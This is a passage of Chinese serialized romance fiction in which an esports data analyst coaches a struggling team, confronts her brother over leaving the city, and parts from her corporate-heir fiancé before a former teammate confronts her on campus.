“是啊,我觉得他钢琴的确弹得很行。”
放学时间的私立学校,楼幢几乎人去楼空,走廊里回荡着两人错乱的脚步声。
忽然间,她被他攥住的手腕,连人带包转过身去。
后背抵上冰冷墙壁,祝陶浮还没来得及惊呼,对方已经压了过来,欺身而上,将她困在与他的方寸之间。
夕阳自走廊尽头的落地玻璃斜斜映照,暖融橘红扑染在他鸦羽长睫,余落下冰冷阴翳。
一只胳膊半撑着墙壁,另一边修长手指缓慢抬起,落在她的脸侧。
以为他是要跟第一次坐错座位时,教训自己掐住脖颈,祝陶浮咽了一下,心里微微颤栗,却还是强撑着回视过去。
“……你讲点道理好不好。”祝陶浮。
距离很近,近到逆着光线,她能看到他灰眸里倒影的自己,也能感受到他轻轻嗤笑间,散漫清冷的气息。
这次手掌没有狠重攀上她的后颈,分明骨节只是轻轻拨开她眼前垂落的一缕发丝。
指尖温烫,将那丝乱发绕在她小巧瓷白的耳后。
可能是气或是怕,他有意无意撩拨过的耳垂,跟着升温泛红。
半晌,他喉结微滚,沉哑着声线,淡声道:“我就是太讲道理了。”
怎么会,祝陶浮心里不解,便听到他接着说。
“以及,怪不得英语听力总是得分不高,原来耳朵这么不好。”眼神垂睨,梁以盏轻笑了下。
祝陶浮:……
那天后来,她无意间询问过,既然梁以盏嫌她听力不好,他弹得又能好到哪里去。
当初对方只淡瞥了她一眼,没有陷入自证圈套。
时至今日,她在花厅里听到的第一个音节,脑海里莫名浮现出,那个普通且不怎么愉快的黄昏。
不得不承认,即使与那名艺术专业的男生相较,梁以盏钢琴技毫不逊色,甚至远在其之上。
这一分神,她手下的古琴慢了半拍,错失一个音节。
紧接着,指尖泄露一分又一分的错处。
但她每次错的那一个音节,对角上的钢琴便迅速填补。
没有丝毫匆忙,衔接得游刃有余,令听者挑不出毛病,仿佛浑然天成。
到此,《梁祝》里本该是最沉重、最压抑、最痛苦黑暗的桥段,却因着错音,那摇摇欲坠的悲怆血泪,渐渐开始黯淡。
情绪的浓烈底色依然未改,古琴哀婉呜咽,柔静而幽沉。
横空而来的清凌钢琴,在古琴凝滞的一瞬,堪堪托住在悬崖边。
浓稠化不开的黑暗,透出一道天光。
从注定的死亡结局,走向未知但挣脱枷锁的茫茫迷雾中。
一曲终了,古琴落音,不再是淹没于坟墓的绝望毁灭。
而在蝴蝶破茧振翅的一刹那,轻轻撩动起新生的微风,是希望。
琴音偌大富丽的花厅,冷清得如同无物。
穿堂秋风拂过木芙蓉,男人自钢琴旁缓慢踱步,至古琴架前。
“玩够了,我来接你。”
—
一场暗潮涌动的豪门家宴,由于本不来赴宴的家主中途打断,而崩盘松散、兴致怏怏。
就这么……结束了?
车辆自人烟罕至的山川湖泊,驶入市区里的万家灯火,白昼至刚刚暗沉的天色,祝陶浮看向窗外,感觉有些不真实。
心理上她将这场聚餐,着重在“餐”而非“聚”的字眼,虽然宾客都是为了社交而“聚”。
但吃得开心与不开心,是两回事。
现在不用应酬式晚餐,祝陶浮顿觉卸下重担,浑身轻松。
所以心情很好,象征性询问身侧人。
“要一起吃个饭吗?”
毕竟是他带自己脱离那个虚于应付的环境,祝陶浮意思一下。
看他穿着黑色衬衫,西装外套搭在座椅,没有过中秋的喜庆暖色,方才在车上,他接了秘书拨打的两三个工作电话,晚上还有会务。
国外不过中秋节,时差原因,梁以盏到达公司刚好赶上会议。
揣摩时机,祝陶浮适时提问,找个机会溜走。
闻言,梁以盏闲闲地瞥了她一眼
,再次打开手机。
—
“你真的,不考虑回去开会吗?”
车辆缓缓停在长夏路巷口,祝陶浮是提出请吃饭的人,却迟迟犹豫,没有下车。
“你要不还是回去开会吧?”
“不急这一时。”梁以盏淡淡道。
“股东和员工们肯定着急,去吧去吧。”祝陶浮坚持。
静默应了声,梁以盏无所谓瞥眼:“有人接手处理,我不在意。”
临时成了会议主持,裴瑄打了个喷嚏。
见状,魏敏面无表情,给他倒了杯热咖啡。
裴瑄笑着饮下一口,差点苦着脸当众吐出来。
“你要烫死我?”裴瑄黑着脸,在桌子底下给她发消息。
上次把话说开,魏敏抱着随时离职的念头,工作干得理直气壮不少。
所以面对裴瑄不再唯唯诺诺,冷漠转身选择不回复。
裴瑄:“?”
随之一连串感叹号,裴瑄气炸了——
上梁不正下梁歪,梁以盏的下属怎么跟他一个德行,如此蛮不讲理!
另一边,并不知情的祝陶浮:……
逻辑链至此,祝陶浮是真的没招了,她妄图再转换矛盾,挣扎一次。
“等等,再说了,我们这样穿着走过去,也不合适吧……”
话音未落,车门缓缓自动打开。梁以盏长腿一迈,下车后利落站在街边,眉眼微挑,似笑非笑地睨向她。
“背你还是抱你,挑一个。”
果断摇头,立刻下车,祝陶浮选择第三条路,自己走过去。
就是跟高跟鞋磨合得不太熟稔,尤其在小巷凹凸不平的石砖,格外一步一挪,小心翼翼。
梁以盏见状,没有多言,径直拽过她手腕,缓慢往前。
—
中秋佳节,万家灯火团圆时刻,乐乐餐馆迎来最后两名客人。
“诶,我没有眼花吧,是不是快六年了,第一次见小漂亮和坏脾气,一起出现?”
“是的嘞,老头子,就是他们两,但你眼镜的确有点花,看手机还是要戴老花镜,昨天有客人结账,你差点弄错了。”
“哎呀放心吧,今儿都已经打烊了,我过去和他们喝两杯……”
“喝啥啊你都,你老眼昏花,也没眼力劲儿是吧,快给人小两口挪挪地方,看他们两打扮得漂漂亮亮,不去大餐馆忽然来咱们小店,估计是回忆往昔,搞搞氛围呢……”
……
实际上,并非刻意为之,纯属祝陶浮为了避开梁以盏,临时起意提出来到乐乐菜馆。
奈何后者不偏不倚,堪堪接招,两人才来到此地,一时间相顾无言。
老两口以为的亲密互动并不存在,而是各自吃着自己的饭,如同寻常的每一天。
所以在阿婆端来月饼,冲他们挤眉弄眼,祝陶浮实在不知道如何解释,只好尴尬笑笑。
阿婆自制的月饼,现烤出来冒着热气,表皮酥脆,内里或是软糯豆沙,或是清香水果,吃起来细腻绵密,散发着甜香。
“之前就说尝尝阿婆做的月饼,没想到一晃这么多年过去,第一次吃上。”安静地结束晚餐,两人离开小店,祝陶浮感慨。
团圆的夜晚,人群要么在聚集在家,要么在充斥着节日氛围的大街商场。
月光下,这条狭窄逼仄的小巷,显得分外宁静悠长。
男人宽肩窄腰西装革履,女生身姿窈窕长裙迤逦,偶有三两路人经过,以为是老旧电影里,定格的时光画报。
闻言,梁以盏轻嗯了声,眼睫微垂。
“我们两一起过中秋,也是第一次。”
昨夜下过小雨,巷子里青石砖缝隙残留浑浊水光。
在来的路上,祝陶浮猝不及防被他拽着手腕,被他带着往前走。
回去的时候做好了心理准备,她先一步牵着他的衣袖,减少肢体接触,却能保持平衡。
尽管已经非常小心仔细,路灯昏黄经过一处石板,路面上一颗碎小的鹅卵石微微翘起,祝陶浮没有站稳,高跟鞋一硌,整个人往路旁歪倒过去。
“诶——”
惊叹未落,她捏着衣袖下的手掌,快速而有力地翻转,紧紧地扣住她的手掌。
干燥宽大的掌心,堪堪将她扶稳站牢,十指紧扣,严丝合缝。
原是想与他稍稍保持距离,却不曾反倒贴靠得更近。
祝陶浮抬眸,望向身侧清冷高大的身影,对方逆着光线,昏暗里看不清神色。
“……谢谢。”重新站稳在路面,祝陶浮小声道谢。
她想把指尖收回来,但紧攥着她的修长骨节,将她牢牢禁锢,没有放手的意味。
看向他的眼神里,带了些疑惑不解。
她听到清冷沉哑的嗓音,落于耳侧。
“想说的就只有这个。”梁以盏眼睑掀起,灰眸里盛着化不开的夜色。
“不聊聊,你要走的事情。”
诚然如他所言,这次来了以后,又会离开。
不想也想不清为什么他总是能知晓自己下一步要做什么,祝陶浮轻轻地用被他包裹住的纤细手指,捏了捏他温烫有力的掌心。
“那这次你是第一个知道的,就别生气哦。”祝陶浮眨了眨眼,想以此缓和气氛。
然而梁以盏的脸色并没有见好,反而冷冷道:“你觉得我会因为这个生气?”
祝陶浮一愣,慢半拍地说:“难道不是吗?”
听到这个答案,梁以盏轻笑了下,但祝陶浮明显感觉到,他好像不太满意。
“所以呢。”淡嗤了声,他嗓线冷而沉。
“我应该高兴?”
祝陶浮:……?
哄不好了。
第43章 祝你们被看见
洲安市郊区, 溯东国际机场,CRG基地位于附近,几名十八九岁的少年, 难得没有睡到下午起来,上午早早收拾完毕, 等待与此次陪练团的分析师见面。
自从在淘汰赛输掉最后一张进入世界赛的门票,CRG上上下下弥漫着忧伤涣散的氛围。
就连食堂做饭的阿姨和采买大叔, 看到他们坐在训练室,有时候对着电脑一发呆一整个上午,两人背地里也悄悄叹气抹泪。
不过今天盘旋笼罩在基地上空的阴霾, 因着新人到来,散了些许。
阿姨和大叔一大早乘车去买菜,见队员们在一楼有的低头拨弄手机,有的打开电脑看视频, 好奇询问:“诶,你们说的, 那个联盟派来的分析师, 什么时候到呀?”
所谓新人新气象,哪怕只是暂住两天,暂时转移沉浸在比赛失败的痛楚。
在联盟百花齐放的上行期,各方资本涌入,CGR就是这样一家在lpl势头尾巴上, 诞生的战队。
既没有老牌战队的年代底蕴,也没有强势资本的豪放大气,投资公司属于跟着大盘热潮,没有吃上肉,但勉强喝口汤。
可建队尚不足一年, lpl在第二年的世界赛挂零惨败,CRG跟着一起陷入困境。
再后来整体经济环境不景气,以及lpl连续三年未能在全球总决赛夺得冠军,官方投资商撤资的撤资,俱乐部退席的退席,虽然流量关注度不减,可却有些渐渐凋零的意味。
CRG的基地也是搬了又搬,从正儿八经的商务区,换到郊区的独栋别墅维持资金运转。
队员们都是新生选手,拿得几乎是联盟最低工资,教练也是一样,主打一个年轻好用的性价比,俱乐部纯靠一腔热血堪堪维系。
然而进入世界赛的第四张门票,在临门一脚时落空,无异于浇了一盆冷水,里里外外遍体生寒。
训练室简单地设置在一楼,阿姨和大叔路过时,顺嘴提问。
ad兼队长,解锁手机看了眼时间,说:“应该差不多了,你们饭菜先做着,我问问领队接到人了没。”
先坐到地铁线的尽头,祝陶浮在机场下车。
小区门口需要门禁识别,CRG的领队在微信上让她提前发车牌号。
“我不开车。”祝陶浮。
领队:“没事,那您过来乘坐的车辆车牌是?”
祝陶浮:“哦,我坐公交,你发一下你们别墅门牌号。”
领队:“!”
“您住在哪里,我开车来接。”
来洲安短暂地停留一周,祝陶浮住在许若歆那里,行李箱也在那,她装好洗漱用品背个包就来到CRG,因此原本打算到机场后,再转公交前往基地。
奈何领队坚持,说要来接她。
两人各退半步,双方决定在机场汇合。
“您是……bless?”
在约定的地下停车场区域,领队见到她的第一眼,是不可思议。
来之前领队听说过,bless 做数据分析精准到位,加上头像是山水田园风,沉默寡言的风格,很容易陷入刻板印象的“老大哥”。
然而风轻云淡,眼前站着的,是个小姑娘。
即使地下停车场光线昏暗,依然漂亮得分外经验。
“等等,您是不是bless的助理之类,本人是还没有到来吧?”领队困惑,发出疑问。
祝陶浮冲他笑笑,轻声道:“你好领队,我是bless。”
CRG战队规模小,经费不足,平时前往比赛是联盟派来的大巴,日常里没有配车。
经理几乎不怎么管游戏这块事情,属于兼任,忙着公司总部的实体行业。
秉承能省则省的原则,CRG只配了一台商务车,队员们有什么事情需要外出办理,领队便充当司机。
回程路上,CRG训练群里,关于对bless的提问,闪个不停。
他们训练群里,队员5人,加上教练兼分析师,和领队,一共7人。
整个赛训组重压在教练一人身上,他承担得过多,前段时间殚精竭虑,输掉比赛便累倒了,回老家休息。
数据分析对于他来说一向是短板,因此听说是联盟特派,原QSG的临时分析师,要不是相隔太远,他很想亲自过来见见,学习经验。
因此,他在群里分外活跃。
“快快,bless的图片呢,来一张,我可太好奇了!【让我康康.gif】”
“哎呀,我咋这个时候感冒呢,来得太不是时候,不然我连夜赶到基地见一见。【可怜.jpg】”
“说了这么半天,照片呢,视频呢,一样没有。”
“搞什么在@领队,快把我沉稳冷静的大哥端上来!”
……
不止教练,其他队员们都很好奇,纷纷@他个不停。
微信消息提示音叮叮咚咚,等待红绿灯的间隙,领队只能冲副驾上的人尴尬笑笑,随即将手机静音。
另一侧的祝陶浮正在看手机里,组会提示,所以对他突如其来的笑容,弄得有些莫名其妙。
终于抵达基地,在领队将其带在一楼,与众人见面的一刹那,莫名其妙的的主体换了对象,成了CRG。
“你是……bless?”队员们你看看我,我看看你,有些不敢相认。
说好的老大哥呢?怎么变成了大美女!
然而正值年少,气血方刚,就算惊讶震撼,也要摆出一副装装的冷库模样。
很符合他们的打法,不管不顾,横冲直撞。
相较于他们内心忐忑不安,表面强装镇定,祝陶浮则淡定自若地同他们打招呼。
从上单到辅助,挨个问好。
“你好,chen。”
“joy。”
“xiaozhou。”
“keep。”
“yawn。”
年初拼凑起来的新生队伍,一度在全联盟排名垫底,只是越往后磨合得越来越适配,所以才在大众面前有了姓名。
初出茅庐,即使少年们整体颜值能够在联盟排上一二,但电子竞技,只看成绩,与长相没什么太大关联,反而输掉比赛招致的骂声更多。
因此,有时候他们的名字,会被叫错或者写漏,时有发生。
但祝陶浮同他们打招呼,落落大方,称谓熟稔,令他们有些不好意思。
“没想到bless,对我们还有关注。”队长keep,友好地报以回笑。
祝陶浮点头,坦然承认:“虽然双败赛制,我和你们没有碰上,但之前QSG和你们交手过,实力很强。”
能从QSG的分析师口中,听到对自己的肯定,本来就不擅长言辞交际的男生们,更是想说什么,却欲言又止,连连说道:“哪有哪有。”
她也不是很会说话的类型,否则祝峥总是气得无言以对,以及……
思绪飘回到昨夜中秋,分别时梁以盏的提问,祝陶浮既不知道怎么回复,也感觉他情绪并不太好。
眨了眨眼,强行收回神游,她继续诚实道:“实力很强,可发挥是另一回事,就……嗯,打得不是很好。”
提到这一点,队员们没有感到愤怒,因为的确是事实。
他们被戏称为“莽夫队”,或者被调侃是“初生牛犊不怕虎”,那是委婉谦辞,实际上就是说他们只会蛮力去打游戏,而无法取得胜利。
气氛变得有些沉重沮丧,祝陶浮言语依然直接坦诚:“两天的时间也无法根治这个问题,但希望能尽可能地提出思路,你们以后能够改过来。”
电竞世界八百倍速,加上现在经济不景气,联盟为了利益和流量,转会期不再局限于冬季,增加了春、夏两次窗口期,队伍之间分分合合,无时无刻不在上演。
以后……
也许没有以后。
到底是队长,keep站出来缓和气氛,笑了笑,说:“借你吉言,希望我们五个,下次还能得你指点。”
“餐厅饭做好了,先来吃饭吧。”
都是小年轻,涉世未深,其他弟弟们跟着点头:“就是,事已至此,先吃饭吧。”
……
别墅中等规模,但涉及到训练、休息一体化,加上宣传运营,队员们两两挤一个房间。
这次祝陶浮前来,领队特意让保洁阿姨收拾一整间房,让她休息舒坦。
因为她话语不多,不说话时明艳面容愈发渗着冷色,队员们原想请教一二,但又不得不望而却步。
可吃完饭,真到了游戏复盘,祝陶浮则侃侃而谈,一阵见血指出当下bp问题以及打法弊端。
复盘时对着投影,逐帧分析,精确到每分每秒的打法定位。
渐渐地,可能是混日子的两天时间,完全不够用,几乎是争分夺秒,从白天到黑夜。
厨房阿姨和大叔,见小伙子们连日以来的低沉消极,终于又开始叽叽喳喳,说个不停,而且祝陶浮本身虽话不多,但在长辈眼里属于漂亮乖巧的类型,不是惹是生非的主,他们两也跟着忙个不停,制作各种各样的美食投喂。
轮到祝陶浮有些不好意思,冲他们二位道谢。
“哎呀,应该谢谢美女你才对,你一来我们CRG天晴了。”阿姨笑眯眯道:“来来,刚煲好的汤,再多喝点。”
大叔也道:“就是,所以美女你要常来啊。”
闻言,祝陶浮手里的汤勺一顿,有些不知道怎么接话。
方才嘻嘻哈哈的队员们,在电脑前,短暂地陷入沉默。
别说下次,明天以后,祝陶浮就会离开。
毕竟她只是临时的陪练团分析师,有自己的主业,还要回去忙论文完成学业,甚至都不在洲安生活。
keep清了清嗓音,拍了拍手掌,示意大家振作。
“好啦,又不是不会再见,咱们陪练团还要线上语音,与bless交流呢。”
两天没怎么睡觉,方才提到离别的话题,祝陶浮未免稍显疲惫。
不过还是强打着精神,轻轻地笑了一下。
她看向大白板旁的另一块小白板,在严密的战术分析旁边,是队员们平时用来消遣玩乐的涂鸦。
打打闹闹,但是核心没有改变。
最中间的地方,画着冠军奖杯。
离它最近的上单chen,见她注意到小白板,尴尬地挠了挠头。
“都是些玩笑话,别在意。”
可真心话,向来出自玩笑话。
毕竟每一个职业选手的目标,在赛场上的那一刻,都渴求冠军。
只是随着时间,随着世事,随着不
可知的一些,渐渐消磨殆尽。
是默默付出的陪练团,是灯光下的影子,是胜利主角的暗淡陪衬。
“怎么说,bless也写一句,看以后会不会实现吧。”joy笑笑,提议道。
祝陶浮想了想,原本圈画标记战术的记号笔,从大白板挪到小白板,她写下。
“祝你们被看见。”
第44章 拜拜
“影子计划”的两天陪练结束, 祝陶浮就要动身回到栖梧。
离别之前,祝峥约她在一家私房餐厅见面。
“上次中秋,可惜你提前离席, 没有参加晚宴。”他望向祝陶浮,后者一如既往, 拨弄着餐盘里鹅肝上的鱼子酱,对于他的抛问不理不答。
“梁以盏那两位向来不露面的兄长, 在晚宴时姗姗来迟,也不知道该说是故意与他岔开时间,还是消息灵通, 第一时间知晓,堂而皇之登门入室。”祝峥百无聊赖,轻摇着红酒杯。
“哦,那都跟我没什么关系。”慢慢地用餐巾擦了擦嘴唇, 祝陶浮放下后,看向对面。
难得听到她发表一句意见, 即使是站在否定面。
眉眼微挑, 祝峥轻点下颌:“今天胃口不佳啊,才这么点就不吃了,甜点都还没上呢。”
没有理会他一贯的阴阳怪气,黝黑眼瞳清澈可见倒影。
“那就不上了,避免浪费。”
或许是这两天, 从早到晚泡在训练室,过于疲惫导致没什么胃口。
这家餐厅的主厨,据说是重金挖过来的星级米其林,老板刚刚开业,祝峥前来算是捧个场、活动人脉。
餐盘里还剩一小块牛排, 旁边摆盘用的西蓝花祝陶浮挑着吃完,觉得味同嚼蜡。
忽然联想到,前段时间老洋房里的小羊排,比当下所谓的大厨烹饪得要可口。
不过那都不重要了,祝陶浮抬眸,平静道:“祝峥,我就离开洲安了。”
起初,祝峥尚未回味过她话里的意思,还饶有兴致开起玩笑。
“最后的晚餐啊?现在可是大中午。”
“那你就当是,最后的午餐。”祝陶浮眨了眨眼,淡定接话。
“什么意思啊,你不会打算,以后不回洲安了吧?”祝峥老神在在,还说着玩笑话。
谁料祝陶浮点头,简明扼要,回复一个“嗯”。
瞬间,包厢里浮动着的鲜花香薰,泛起蔫秧死寂。
良久,祝峥掀起眼睑,说:“你认真的。”
眼神没有丝毫动摇,清潭眸瞳里一片宁静,祝陶浮沉默以对,已然是给予肯定回复。
像是听见什么可笑的事情,祝峥笑弯了眼,英俊眉眼间没有多余的神情。
“走?先不说你和梁以盏签订的那些合约,条条框框……”
“我知道,本来就是不对等的利益交换,我存心要走,对于梁氏集团是只赚不赔的买卖。以梁以盏现在的掌权董事,我这个位置,换个人来,换哪家的千金联姻,价值会更高。”
“何况,不过是订婚而已。”
三言两语,祝陶浮简明扼要、条分缕析。
祝峥望着她,一时无言。
该说不说,她还真是分析师,骨子里的冷静刻板。
“好,我不提梁氏,那祝家呢。”既然祝陶浮点破话题,那祝峥也不弯弯绕绕,直击要害。
“你在科技园实习的那家小公司,别以为我不知道你打得什么主意,你就是不想跟祝家扯上关系。毕竟,洲安市内,稍微有点名气的大公司,与梁、祝两家,总会有千丝万缕的联系。”
指节轻叩桌面,祝峥收敛笑意,一字一顿敲打提醒。
预料中的惊慌失措,等颓败神色,并未在对面那张迤逦容颜上显现。
相反,秀丽眉眼没有一丝皱痕,祝陶浮甚至笑了,比包厢里用来装点的时令月季,还要艳丽明媚。
“祝峥,每次让我看财报、算数据的时候,在想什么呢。”
“有想到,今天吗。”
话音落,风过无声。
下一秒,满盘菜肴连带桌布被猛地掀翻在地。
接二连三,噼里啪啦的清脆声响,精致瓷盘酒杯与满地狼藉混杂成碎片污啧。
红酒与汤汁融合诡异的血浆色,缓缓流淌在洁净明亮的地板。
“你疯了?”祝峥陡然间暴起,皮鞋碾过一地碎玻璃,笔挺裤腿擦出桌沿的暗红酒渍,跨过狼藉来到她身前。
“你就算把你自以为所谓的证据,对外捅出去,你自己难道能独活?”祝峥冷冷吐词,目光阴鸷沉重。
“祝家,以及背后牵涉的千丝万缕联系,为了填补漏洞,一定不会放过你!”
眼神从他垂落在身侧蜷紧的拳头,到他手背暴突的青筋,再往上,直面他冰冷愤怒的英俊眉眼。
轻轻地叹了声气,祝陶浮站起身,平静开口。
“你总是说我心软,其实你的心也没那么坚硬。”她说。
“来洲安的大半年,谢谢你带我感受了很多不一样的事情。之所以答应来洲安,也是为了感谢,当年你没有和祝家一起,把我逼上绝路。”没有丝毫气恼,祝陶浮一字一句,如同清澈溪水静静流淌。
“所以今天,我只是不想再次让自己陷入绝境,不得不自保而已。”
“当然了,如果祝家愿意放我离开洲安,我不会做什么。”祝陶浮道。
“反之,祝家不乐意放手,那船,就一起沉下去吧。”
包厢内隔音良好,两人相对而立,静默无声。
良久注视,这张向来平和温柔、与自己没什么相似之处的漂亮容颜,祝峥忽然由衷地感到,终于有一丝熟悉的气息。
“祝陶浮,第一次觉得,你的确是我的妹妹。”
从来不甘于受人控制,一心想要挣脱束缚。
只是祝峥会绕开牢笼枷锁,想尽办法反客为主,令其为己所用。
祝陶浮则不一样,她不在乎这华丽牢笼存在与否,毁灭或新生,都与自己没关系。
直直地撞上去,哪怕撞了南墙头破血流,也不回头。
祝陶浮笑了一下,说:“这顿饭我请你。”
“哥哥。”
—
来找过许若歆好几次,每次看到江对岸那座最高大气派的摩天大楼,没什么花里胡哨的装饰,却给人森严巍峨、冰冷屹立的凛然之感。
高处不胜寒,即使暑热蒸腾的夏季,祝陶浮也是如此认为。
看了这么久,第一次来到楼下,祝陶浮在附近天桥下的长椅静静闲坐。
现在是晚上七点,人来人往,车辆络绎不绝,大部分是匆匆归家的上班族,也有少部分,接到临时加班的通知,焦头烂额地返回公司。
熙熙攘攘的人群将城市从大楼到地面,汇聚成蜿蜒不息的江流,熠熠生辉、流光溢彩。
但倒影出的天上河,阴云密布没有一丝光亮缝隙,苍茫灰蒙覆盖于无垠天际。
市中心高楼大厦的玻璃幕墙,从繁华热闹的大地,渐渐往上映射出冷淡孤寂的流云,昼夜往复,永不停息。
坐着看了一会儿此处的风景,从云到楼到人群,还有展览建筑、城市地标,祝陶浮起身,走进附近的一家生煎店。
上下班的高峰期过去,店里不至于拥挤为患,但夹杂着零零星星的外地旅游团,和居民散客。
走到二楼,挑了个靠窗的二人座位坐下,祝陶浮点了份生煎包和酸辣粉。
店里制作菜谱较快,在吃到第二块生煎的时候,对面座位上来了一个人。
现在不是很忙,服务员过来热情招呼:“帅哥,想吃些什么,可以扫码点餐哦。”
“和她一样。”
清冷沉哑的嗓音落下,再加上峻冷出众的外貌,餐厅周围有时候会有拍戏取景而围观的人群,但见他周围并无跟拍的粉丝。
否则服务员会误认为,眼前男人是哪个大明星,甚至比对街商场海报上悬挂的广告演员,还要好看。
不过……
即使瞧上去,双人桌的顾客,一个清冷一个明丽,容貌的惊艳程度,很是相配。
“那我请你吧。”闻声,祝陶浮掏出手机结账。
服务员应声去备菜,走远以后,两人的小角落显得暂时清静。
“你们比赛的时候,不是说最好不要吃这个生煎。”
蓦然间,凛沉嗓音冷不丁来了这么一句。
正巧吃完第三个生煎包,祝陶浮打开可乐,喝了两口。
“可我现在不搞电竞了。”她冲着对面笑了一下,说。
灰眸凝视着漂亮笑靥,梁以盏淡淡道:“也对。”
说完,两人相对无言,陷入沉默。
半晌,祝陶浮主动打破沉默,玩笑式地询问,活跃气氛:“话说,你是不是跟总裁文里那样,有一间个人休息室,所以下班的时候换了身衣服?”
“就跟那会儿在俱乐部,你每天接我下班,有时候穿西装,有时候是休闲服饰,什么样的都有。”
闲散地掀起眼皮,梁以盏看了她一眼,不置可否:“想知道,就自己去看。”
她摇了摇头,道:“我就不了,明天要回栖梧。”
对面没有应声,祝陶浮轻轻接话:“你知道的。”
梁以盏依然静默地半垂眼眸,没有接话。
“那我放在老洋房的银行卡,你也看到了,虽然欠你的还不太清,但我尽量地算了个数,把我零零散散打工攒的钱,都留存其中。”
他吃着最为平常的路边餐饮,仍旧是如同玉盘珍馐,赏心悦目。
祝陶浮笑意稍稍敛去,尽力地翘起唇角。
“还有,这些年,我也知道。”
“其实在我看不到的地方,你一直派人暗地在保护我,所以每次我去哪里,你都能找到我。”
似是轻哂了下,梁以盏缓缓开口:“有没有可能,不是暗地里保护,而是把你拖进黑暗。”
没有任何犹豫,祝陶浮摇了摇头,说:“你不会的。”
一直凝落在她身上的眼神,是一如既往地灰静暗沉。
窗外车辆不断驶过,灯光溅落反射在暗色眼底,堪堪泛起些许明明灭灭。
如同过往每一次的家常便饭,每一声普通寻常的道别,祝陶浮轻声说:“那我走了,拜拜,梁以盏。”
说拜拜而非再见,听起来格外轻松。
因为或许,她觉得再也不见。
清瘦倩影从楼下走出店面,汇入人海,慢慢地,消失在道路尽头的地铁口。
即使如此,梁以盏仍是注视着身影最后停留的地方,看了很久很久。
一直到服务员过来,问需不需要将对面的位置收走。
既然人已去,梁以盏没什么可停留的。
但在看到空掉的餐盘,他仿佛看见,过往的日常里,女孩明媚笑靥,总是叨叨着吃饭要吃干净,不要浪费诸如此类的老旧传统。
于是本该起身离开,梁以盏静静地坐在原位上没有动作。
发硬的生煎、冷掉的酸辣粉以及廉价的小糖水,他一点一点,一一吞咽下去。
第45章 我不会让她心疼
十一月初, lol世界赛结束。
虽然今年lpl依然未能将冠军带回赛区,但是QSG以惨烈的二比三,至少守住了最后的颜面。
与此同时, 影子陪练团揭开神秘面纱。
一名叫“bless”的id,作为分析师, 出现在致谢末尾。
据传此人十分擅长bp选择和战术排布,曾于QSG比赛讨论群里, 出现精准神预测。
渐渐地,网友扒出,QSG数次看似走钢丝却又绝处逢生的关键比赛, 尽管风格与之前截然相反,但刀口舔血之间莫名相似。
于是纷纷揣测,是不是出自于,这位从未示人眼前、QSG临时分析师之手。
bless这个名字, 并没有像影子般,隐匿于阳光之下, 而是慢慢地, 开始进入大众视野。
十二月初,梁氏集团正式宣布,梁靖明、梁煜永远不再进入国内市场。
公告没有陈述具体原因,没有体面致谢,这条简短的消息躺在员工邮箱里, 如同每一项待办任务一样,寻常平静。
然而平地起澜,看客们嗅到信号,这位年轻而俊美的新任掌权者,可谓是面冷心更狠。
上任不到一年的时间, 就将同父异母的手足兄长,永久撵去海外,其手腕和心机的冷漠狠厉,堪堪足以可见。
只是传闻里的那位未婚妻,自始至终未对外界公布姓名。
一月初,位于中部地区的栖梧城市,拥有国内数量最为庞大的大学生群里。
这座城市冬冷夏暖而季节分明,进入严寒冬季后,期末考笼罩下的阴霾,使得本就阴惨的天气格外凄凉。
研三的学生们不用忙于期末考试,但人生的大考正式拉开序幕。
既要顶着毕业季论文的压力,也要面对如寒冷天气般的严苛就业环境。
一日深夜,祝陶浮从图书馆查完资料出来,边走边低头在手机上演算未完的数据。
盛科大学占地面积广、绿化程度高,冬夜里的一些小路上人烟罕至、显得莫名冷寂森冷。
寒风凛冽,竹林摇晃萧瑟,她沉浸在拨弄手机、计算公式里,没有留意到等待此地良久的一道身影。
忽然,手腕被人一把攥住,那力道带着她整个人往前踉跄几步,手机差点脱手摔在地上。
新手机去年夏天好不容易攒钱还了那人,这才到冬天,总不能又摔坏破费吧。
祝陶浮死命护住手机,来人以为她是对自己强烈反抗,
两人僵持之时,他冷冷出声,把她往旁边的黑色车辆上带:“发消息不回,打电话不接,那换个地方聊,你就这么不愿意……”
话音未落,路边另一辆看似无人的黑车上,忽然下来两名男子。
然而他们的目标却不是她而是他,动作快速狠辣,把人从她身边拽离,就要往车门上掼。
“诶,等等,误会误会,他不是坏人!”祝陶浮一惊,随即反应过来什么,赶紧上前阻止。
“真的真的,两位大哥,快点放开他,他是电竞选手,手很珍贵的,还要靠这个吃饭!”
本来脾气就爆,听到这话更是一点就燃。
“他妈的来啊,老子不靠手照样能行!”
祝陶浮:……
“祁招,你能冷静点吗,你现在像什么样子,你说不打就不打了,QSG的队友们怎么办?”
提到团队,祁招还想强行与他们过招的剧烈动作,稍稍停止下来。
突然窜出来的两名男子,见祝陶浮的确没什么大问题,祁招也不再有多余行为,彼此相视一眼,默契地返回不远处的一辆、低调到仿佛不存在的车子里。
一时间,竹林里恢复平静,一切变故好似没有发生。
祝陶浮看了眼车门打开后透出来的灯光,又瞅了瞅灯光映照出帽檐与口罩遮挡下,那冷冷压抑着怒火气焰的料峭眉眼,她不着痕迹地叹了声气,道:“祁招,何必呢,QSG又不缺我一个。”
眼皮冷淡掀起,祁招看着她,单刀直入:
“世界赛你把研究出来的对手数据,毫无保留地奉献给赛区,八强堪堪保住三个队伍;QSG对上lck的冠军队伍,实力短板昭然若揭,决赛多少人认为我们会被三比零,尽管最后还是输了,在二比零的比分落后情况下,你的bp制衡,至少我们坚持到决胜局,是站着死的。”
“多的我不说了,你自己心里清楚。”
栖梧这座城市,冬天时而干冷、时而湿冷,变化多端弄得人无所适从。
祝陶浮将手放在羽绒服的口袋里,能够抵御外界寒风、稍微暖和一些。
半晌,她才道:“……嗯,那是你们自己打得好。”
等了片刻,等来这么一句,祁招简直气笑了,他凉凉开口:
“你死活不去洲安,就是因为梁以盏。”
话音掷地有声,在清寒风中格外锋锐无比,像一把闪闪发光的利刃,直直地划破人心。
不等祝陶浮回答,他继续冷着嗓音陈述事实。
“我早就觉得不对劲,派人去查那天雨夜接
你之人的行踪,越是往下查,越是什么痕迹也没有,这反而更加奇怪。”
“到后来才发现,原来不是你的男朋友,是所谓的未婚夫。”
未婚夫三个字,他咬字较重,
语气却是不屑而嘲讽。
“刚那两人就是梁以盏派来的吧,你要是担心是因为他,而有什么关于祝家方面的原因牵扯,那你完全没必要考虑。”
往日里祁招是懒散不羁,顶多赛场上说一不二、嚣张至极。
此时他话语越来越沉,难得彰显出骨子里少爷脾性的蛮不讲理。
